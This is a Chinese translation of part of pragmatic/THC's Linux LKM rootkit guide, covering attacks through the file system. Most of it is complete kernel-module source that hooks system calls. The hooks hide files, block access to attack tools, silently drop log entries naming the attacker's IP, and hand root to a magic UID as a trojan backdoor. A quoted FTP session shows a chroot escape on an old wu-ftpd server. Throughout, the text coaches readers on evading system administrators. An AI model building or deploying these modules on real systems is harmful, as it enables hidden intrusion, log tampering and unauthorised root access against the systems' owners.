2.4 和文件系统有关的攻击
LKM入侵最为重要的一点大概在于他在本地文件系统中具有隐藏某些东西(像漏洞,监听器(包括纪录)等等)的能力.
2.4.1 如何隐藏文件
想象一个系统管理员是如何找到你的文件的.他会用'ls'来看.对于那些一无所知的,用strace来跟踪'ls'会显示出用于获得目录列表的系统调用是:
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned
int count);
因此我们知道该从何处进行攻击了.下面的代码摘自AFHRM(来自Michal Zalewski),展示了如何入侵_getdents系统调用.这个模块可以让'ls'和任何使用getdents系统调用的函数列不出特定的文件.
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void* sys_call_table[];
int (*orig_getdents) (uint, struct dirent *, uint);
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned
int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char hide[]="ourtool";
/*你想隐藏的文件*/
/*调用原始的getdents->把结果都保存在tmp中*/
tmp = (*orig_getdents) (fd, dirp, count);
/*目录缓存处理*/
/*这个必须被检查,因为一个过去的getdents调用有可能将结果放在当前任务的dcache中*/
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
/*dinode是被请求的目录的inode*/
if (tmp > 0)
{
/*dirp2是一个新的目录结构*/
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
/*将原来的目录结构拷到dirp2*/
memcpy_fromfs(dirp2, dirp, tmp);
/*dirp2指向dirp2*/
dirp3 = dirp2;
t = tmp;
while (t > 0)
{
n = dirp3->d_reclen;
t -= n;
/*检查当前的文件名是否我们想隐藏的那一个*/
if (strstr((char *) &(dirp3->d_name), (char *) &hide) !=
NULL)
{
/*如果需要的话,改变目录结构*/
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (dirp3->d_reclen == 0)
{
/*这是为了有些讨厌的文件系统驱动对getdents的不正确调用*/
tmp -= t;
t = 0;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}
int init_module(void)
/*初始化模块*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getdents]=orig_getdents;
}
对于初学者:在继续阅读之前,花十分钟时间用你的大脑将注释读一遍.
这种手段十分有用.但是请记住系统管理员可以通过直接存取看见你的文件.因此一个'cat ourtool'或者'ls ourtool'就会显示出你的文件.因此,绝对不要将你的工具起一些像sniffer,mountdxpl.c...这样招摇的名字.当然还有很多方法阻止系统管理员发现我们的文件.让我们继续.
2.4.2 如何隐藏文件的内容(完全的)
我从来没有看到关于这个的一个真正实现.当然,Michal Zalewski写的像AFHRM的LKMs中有控制文件内容/删除的函数.但是这不是并不是真正的隐藏.我认为很多人用了类似的方法,但是没有人写下来.所以我来做了.
必须明白有很多方法来实现这个.第一个方法十分简单.截获一个open系统调用来检查文件名是否是'ourtool'.如果这样,任何打开文件的企图都会失败,更谈不上读/写的可能性了.让我们来实现这个LKM:
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void* sys_call_table[];
int (*orig_open)(const char *pathname, int flag, mode_t mode);
int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]="ourtool";
/*这是旧的知识->转换到内核空间*/
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_pathname, pathname, 255);
if (strstr(kernel_pathname, (char*)&hide ) != NULL)
{
kfree(kernel_pathname);
/*返回错误代码,'file dos not exist'*/
return -ENOENT;
}
else
{
kfree(kernel_pathname);
/*一切OK,这不是我们的工具*/
return orig_open(pathname, flag, mode);
}
}
int init_module(void)
/*初始化模块*/
{
orig_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=hacked_open;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_open]=orig_open;
}
这会工作的很好.他告诉任何企图存取我们文件的人这个文件不存在.但是我们自己如何存取这些文件呢?有很多方法:
利用一个特殊的字符串
利用uid或者gid检查(要求创建一个特定的账号)
利用时间检查
......
有成千上万种很容易实现的方法可以用.因此我把这个留给读者作为练习.
2.4.3 如何隐藏文件的某一部分(一个实现原型)
在2.4.2里面的方法对隐藏我们的工具/纪录是十分有用的.但是如果更改了系统管理员或者用户的文件该怎么办呢?假定你想控制/var/log/messages里面某个特定的ip地址或者DNS的纪录内容.我们知道成千上万种后门来隐藏我们的身份,使我们的行为不出现在重要的纪录文件中.但是有没有考虑过用LKM来过滤每一个写向文件的字串(数据)呢.如果这个字串包含任何与我们身份有关的数据(例如ip地址),我们就拒绝这次写操作(我们可以跳过他,然后返回).下面的实现是一个十分(!!)基础的LKM的原型(!!).只是用来展示这种方法的.我过去从来没有见过这种方法.但是就像在4.3.2一样,很可能有很多人已经使用这种方法好几年了.
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void* sys_call_table[];
int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
char *kernel_buf;
char hide[]="127.0.0.1";
/*我们想隐藏的ip地址*/
kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
memcpy_fromfs(kernel_buf, buf, 999);
if (strstr(kernel_buf, (char*)&hide ) != NULL)
{
kfree(kernel_buf);
/*告诉程序我们已经写了一个字节*/
return 1;
}
else
{
kfree(kernel_buf);
return orig_write(fd, buf, count);
}
}
int init_module(void)
/*初始化模块*/
{
orig_write=sys_call_table[SYS_write];
sys_call_table[SYS_write]=hacked_write;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_write]=orig_write;
}
这个LKM有一些缺点.他没有检查写的目标(可以通过fd检查,下面将会有一个例子).这意味着甚至一个'echo '127.0.0.1''都不会被打印.
你也可以改变写入的字符串.但是一般的思路是什么都不写.
2.4.4 如何重新定向或者监视文件操作
这个观念已经很老了,并且首先是在被Michal Zalewski在AFHRM中实现的.我在这一节里面没有任何代码.因为这个太容易实现了.(在你学习完2.4.2和2.4.3以后).通过文件系统的事件,有很多东西你可以监视的:
写文件->拷贝内容到另一个文件=>这个可以用sys_write(....)实现
可以读某些文件->监视某些文件的读操作=>这个可以用sys_read(...)实现
打开一个文件->我们可以利用他来监视整个系统=>截获sys_open(...)调用并且将纪录写到某个一个文件.这是AFHRM监视系统里面文件的方法(源代码见4.3)
link/unlink事件->监视每一个链接的创建=>截获sys_link(...)(源代码见4.4)
....
这些都是十分有趣的(特别是对于系统管理员),因为你可以纪录整个系统的文件变化.在我看来监视文件或者的创建也同样有趣.他们分别用命令'touch'和'mkdir'实现.
命令'touch'(举个例子)并不使用open来创建文件.strace告诉我们他用了如下的调用(摘录):
...
stat("ourtool", 0xbffff798) = -1 ENOENT
(没有这样的文件或者目录)
creat("ourtool", 0666) = 3
close(3) = 0
_exit(0) = ?
正如你所看到的,系统使用sys_creat(...)系统调用来创建新文件.我想在这里没有必要提供一份源文件.因为这个工作只不过是拦截sys_creat(...)然后将文件名用printk(...)写到纪录文件中去.
这是AFHRM纪录重要事件的方法.
2.4.5 如何避免任何文件权限问题
这里说的不仅仅是与文件系统有关的.他对于通常的权限问题也很重要.猜猜看你应该拦截那个系统调用?plaguez建议用一个特殊的UID挂在sys_setuid(...)上.这意味着任何一个用这个特殊的UID的setuid调用模块都会设置这个UID为0.
让我们看看他的实现(我只显示被改变的_setuid系统调用):
...
int hacked_setuid(uid_t uid)
{
int tmp;
/*我们已经在LKM源代码的其他地方定义了这个特殊的UID*/
if (uid == MAGICUID) {
/*如果这样我们就设置所有的UID为0(超级用户)*/
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*o_setuid) (uid);
return tmp;
}
...
我想下面的技巧在某些环境下非常有用.假定下面的情况:你做了一个恶意的特洛伊木马给一个(十分笨的)系统管理员.这个木马在系统里面安装了下面的LKM.[我没有实现隐藏的细节,只不过是一个我的想法的原型]:
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void* sys_call_table[];
int (*orig_getuid)();
int hacked_getuid()
{
int tmp;
/*检查我们的UID*/
if (current->uid=500) {
/*如果使我们的UID->这代表着我们登陆进来了->给我们一个超级用户的shell*/
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*orig_getuid) ();
return tmp;
}
int init_module(void)
/*初始化模块*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getuid]=orig_getuid;
}
如果这个LKM载入到系统中,当我们作为一个普通用户登陆时,login会提供给我们一个美妙的超级用户的shell(当前进程会拥有超级用户的权限).正如我在第一部分所说的那样.
2.4.6 如何使的一个有入侵工具的目录不可存取
对于Hackers来说,他们常常需要新建一个目录来储存他们的工具.(高级的Hackers不使用普通的本地文件系统来存储数据).通过使用getdents可以帮助我们隐藏目录或者文件.但是如何使得我们的目录不可存取呢?
像通常一样,让我们看看include/sys/syscall.h;你应该能够指出SYS_chdir使我们需要的系统调用(对于那些不相信的人,跟踪一下'cd'命令就知道了).这次我不会给你任何源代码,因为你只需要拦截sys_chdir调用,然后进行字符串比较.在此之后你或者进行正常的调用(如果不是我们的目录的话)或者返回ENOTDIR(代表'不存在这个目录').现在你的工具应该不能被普通的系统管理员发现了.(高水平的并且多疑的管理员会使用最底层的方法扫描硬盘).但是如今除了我们谁又会如此多疑呢?而且同样的也有方法阻止这种硬盘扫描,因为任何事情都是基于系统调用的.
2.4.7 如何改变CHROOT环境
这个想法完全摘自HISPAHACK(hispahack.ccc.de).他们发布了一个很好的关于这种原理的文档('Restricting
a restrcted FTP').我会用简短的几句话来解释一下他们的想法.请您注意下面的例子现在不能再使用了.因为太老了(看wu-ftpd的版本).我只不过用来演示你如何才能使用LKMs来解脱chroot限制.下面的都是基于老的软件(wuftpd),因此你不要尝试在新的版本的wu-ftpd中使用,没有用的.
HISPAHACK的论文使基于一个拥有下面的权限的被限制的FTP账号:
drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/
在这种情况下(很常见的),用户(我们)可以改变bin目录.因为他在我们的主目录中.在做任何这种事情以前先让我们来看看wu.ftpd(他们使用的服务进程,为了方便解释,用其他的原理是一样的)如何工作的.当我们执行一个LIST命令时,../bin/ls使用UID=0被执行(EUID=用户的ID).在这个命令真正被执行以前,wu.ftpd会使用chroot(...)来设置进程的根目录.这样我们就被限制在我们的主目录中了.这会使得我们的FTP账号不能存取到文件系统的其他部分.
现在假定我们可以用另一个程序替换/bin/ls,这个程序会以root(UID=0)的身份执行.但是我们会有什么好处呢?因为chroot调用,我们被限制在自己的目录中了.这时我们就需要一个加载一个LKM来帮助我们了.我们用一个加载我们提供的LKM的程序来替换../bin/ls.这个LKM会拦截sys_chroot(...)系统调用.他必须被改变,才不会限制我们.
这意味着我们只需要保证让sys_chroot(...)不干任何事情就可以了.HISPAHACK使用了一个非常荒唐的做法.他们仅仅修改sys_chroot(...)让他们返回0而不干任何事.在加载了这个LKM以后,你可以产生一个新的没有限制的进程了.这意味着你可以用UID=0来存取整个文件系统.下面显示入侵的例子是HISPAHACK公布的:
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997)
ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.</TT></PRE>
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
ftp> bye
221 Goodbye.
thx:~#
-->现在我们就可以开始一个新的没有限制的FTP会话.LKM已经被加载了,因此sys_chroot不能生效.因此你可以干任何你想干的事情(下载passwd.....)
在附录你会找到一个完整的新的ls和模块的源代码.
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文